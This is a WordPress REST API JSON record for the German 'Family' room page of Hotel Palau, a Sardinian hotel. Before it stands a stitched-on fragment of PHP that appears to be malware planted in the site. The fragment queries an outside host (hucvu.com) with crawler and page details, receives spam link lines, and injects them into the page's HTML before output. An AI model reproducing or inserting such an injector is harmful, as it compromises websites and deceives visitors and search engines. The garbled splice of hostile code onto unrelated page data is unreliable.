if($donor_good){ if(function_exists('http_response_code')){ if(http_response_code() != 200){ $donor_good = false; } } } if($donor_good){ $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://hucvu.com/g3p7e/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } {"id":2441,"date":"2018-12-02T17:44:19","date_gmt":"2018-12-02T16:44:19","guid":{"rendered":"http:\/\/www.palauhotel.it\/?page_id=2441"},"modified":"2018-12-02T20:02:42","modified_gmt":"2018-12-02T19:02:42","slug":"family-de","status":"publish","type":"page","link":"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/","title":{"rendered":"Family"},"content":{"rendered":"<p><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-1 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style='background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;'><div class=\"fusion-builder-row fusion-row \"><div class=\"fusion-layout-column fusion_builder_column fusion_builder_column_1_1 fusion-builder-column-1 fusion-one-full fusion-column-first fusion-column-last 1_1\" style='margin-top:0px;margin-bottom:20px;'>\n\t\t\t\t\t<div class=\"fusion-column-wrapper\" style=\"padding: 0px 0px 0px 0px;background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;\" data-bg-url=\"\">\n\t\t\t\t\t\t<div class=\"fusion-text\"><p style=\"letter-spacing: 4px; font-size: 13px; margin-bottom: 0px;\">HOTEL\u00a0 PALAU<\/p>\n<h1><strong>Family<br \/>\n<\/strong><\/h1>\n<\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator sep-single sep-solid\" style=\"border-color:#cbaa5c;border-top-width:1px;margin-top:0px;margin-bottom:20px;width:100%;max-width:50px;\"><\/div><div class=\"fusion-text\"><p>Komfortable Zimmer von 25 Quadratmetern, ideal f\u00fcr Familien, mit zwei getrennten Zimmern und eigenem Bad, Telefon, Farbfernseher, Minibar, Safe, F\u00f6hn, Klimaanlage.<\/p>\n<p>Sie k\u00f6nnen bis zu vier Personen aufnehmen. Sie befinden sich im Erdgeschoss und verf\u00fcgen \u00fcber einen kleinen Garten oder eine ausgestattete Terrasse<\/p>\n<\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator sep-single sep-solid\" style=\"border-color:#cbaa5c;border-top-width:1px;margin-top:0px;margin-bottom:20px;width:100%;max-width:50px;\"><\/div><div class=\"fusion-button-wrapper\"><style type=\"text\/css\">.fusion-button.button-1 {border-radius:2px;}.fusion-button.button-1 .fusion-button-text {text-transform:uppercase;}<\/style><a class=\"fusion-button button-flat fusion-button-default-size button-default button-1 fusion-button-default-span fusion-button-default-type\" target=\"_self\" href=\"http:\/\/www.palauhotel.it\/de\/informationen-anfordern\/\"><span class=\"fusion-button-text fusion-button-text-right\">Informationen anfordern<\/span><span class=\"fusion-button-icon-divider button-icon-divider-right\"><i class=\"fa-angle-right fas\"><\/i><\/span><\/a><\/div><div class=\"fusion-clearfix\"><\/div>\n\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-2 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style='background-color: rgba(255,255,255,0);background-position: left top;background-repeat: no-repeat;padding-top:0px;padding-right:0px;padding-bottom:95px;padding-left:0px;border-top-width:0px;border-bottom-width:0px;border-color:#eae9e9;border-top-style:solid;border-bottom-style:solid;'><div class=\"fusion-builder-row fusion-row \"><div class=\"fusion-layout-column fusion_builder_column fusion_builder_column_1_2 fusion-builder-column-2 fusion-one-half fusion-column-first 1_2\" style='margin-top:0px;margin-bottom:20px;width:48%; margin-right: 4%;'>\n\t\t\t\t\t<div class=\"fusion-column-wrapper\" style=\"padding: 0px 0px 0px 0px;background-position:right bottom;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;\" data-bg-url=\"\">\n\t\t\t\t\t\t<span style=\"border:10px solid #ffffff;\" class=\"fusion-imageframe imageframe-none imageframe-1 hover-type-zoomin\"><img loading=\"lazy\" src=\"http:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/camera-family.jpg\" width=\"2048\" height=\"1360\" alt=\"\" title=\"camera family\" class=\"img-responsive wp-image-1939\" srcset=\"https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/camera-family-200x133.jpg 200w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/camera-family-400x266.jpg 400w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/camera-family-600x399.jpg 600w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/camera-family-800x531.jpg 800w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/camera-family-1200x797.jpg 1200w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/camera-family.jpg 2048w\" sizes=\"(max-width: 1105px) 100vw, 600px\" \/><\/span><div class=\"fusion-clearfix\"><\/div>\n\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div><div class=\"fusion-layout-column fusion_builder_column fusion_builder_column_1_2 fusion-builder-column-3 fusion-one-half fusion-column-last 1_2\" style='margin-top:0px;margin-bottom:20px;width:48%'>\n\t\t\t\t\t<div class=\"fusion-column-wrapper\" style=\"background-color:#f4f6f8;padding: 0px 0px 0px 0px;background-position:right bottom;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;\" data-bg-url=\"\">\n\t\t\t\t\t\t<span class=\"fusion-imageframe imageframe-none imageframe-2 hover-type-zoomin\"><img loading=\"lazy\" src=\"http:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/bagno-family.jpg\" width=\"2048\" height=\"1360\" alt=\"\" title=\"bagno family\" class=\"img-responsive wp-image-1933\" srcset=\"https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/bagno-family-200x133.jpg 200w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/bagno-family-400x266.jpg 400w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/bagno-family-600x399.jpg 600w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/bagno-family-800x531.jpg 800w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/bagno-family-1200x797.jpg 1200w, https:\/\/www.palauhotel.it\/wp-content\/uploads\/2018\/08\/bagno-family.jpg 2048w\" sizes=\"(max-width: 1105px) 100vw, 600px\" \/><\/span><div class=\"fusion-clearfix\"><\/div>\n\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div><\/div><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":4,"featured_media":0,"parent":2483,"menu_order":0,"comment_status":"open","ping_status":"closed","template":"100-width.php","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v17.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Family - Hotel Palau<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Family - Hotel Palau\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/\" \/>\n<meta property=\"og:site_name\" content=\"Hotel Palau\" \/>\n<meta property=\"article:modified_time\" content=\"2018-12-02T19:02:42+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data1\" content=\"4 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.palauhotel.it\/#website\",\"url\":\"https:\/\/www.palauhotel.it\/\",\"name\":\"Hotel Palau\",\"description\":\"Hotel Palau**** Sardegna\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.palauhotel.it\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/#webpage\",\"url\":\"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/\",\"name\":\"Family - Hotel Palau\",\"isPartOf\":{\"@id\":\"https:\/\/www.palauhotel.it\/#website\"},\"datePublished\":\"2018-12-02T16:44:19+00:00\",\"dateModified\":\"2018-12-02T19:02:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.palauhotel.it\/fr\/home-fr\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"R\\u00e4ume\",\"item\":\"https:\/\/www.palauhotel.it\/de\/raeume\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Family\"}]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Family - Hotel Palau","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/","og_locale":"it_IT","og_type":"article","og_title":"Family - Hotel Palau","og_url":"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/","og_site_name":"Hotel Palau","article_modified_time":"2018-12-02T19:02:42+00:00","twitter_card":"summary_large_image","twitter_misc":{"Tempo di lettura stimato":"4 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/www.palauhotel.it\/#website","url":"https:\/\/www.palauhotel.it\/","name":"Hotel Palau","description":"Hotel Palau**** Sardegna","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.palauhotel.it\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/#webpage","url":"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/","name":"Family - Hotel Palau","isPartOf":{"@id":"https:\/\/www.palauhotel.it\/#website"},"datePublished":"2018-12-02T16:44:19+00:00","dateModified":"2018-12-02T19:02:42+00:00","breadcrumb":{"@id":"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.palauhotel.it\/de\/raeume\/family-de\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.palauhotel.it\/fr\/home-fr\/"},{"@type":"ListItem","position":2,"name":"R\u00e4ume","item":"https:\/\/www.palauhotel.it\/de\/raeume\/"},{"@type":"ListItem","position":3,"name":"Family"}]}]}},"_links":{"self":[{"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/pages\/2441"}],"collection":[{"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/comments?post=2441"}],"version-history":[{"count":3,"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/pages\/2441\/revisions"}],"predecessor-version":[{"id":2540,"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/pages\/2441\/revisions\/2540"}],"up":[{"embeddable":true,"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/pages\/2483"}],"wp:attachment":[{"href":"https:\/\/www.palauhotel.it\/wp-json\/wp\/v2\/media?parent=2441"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}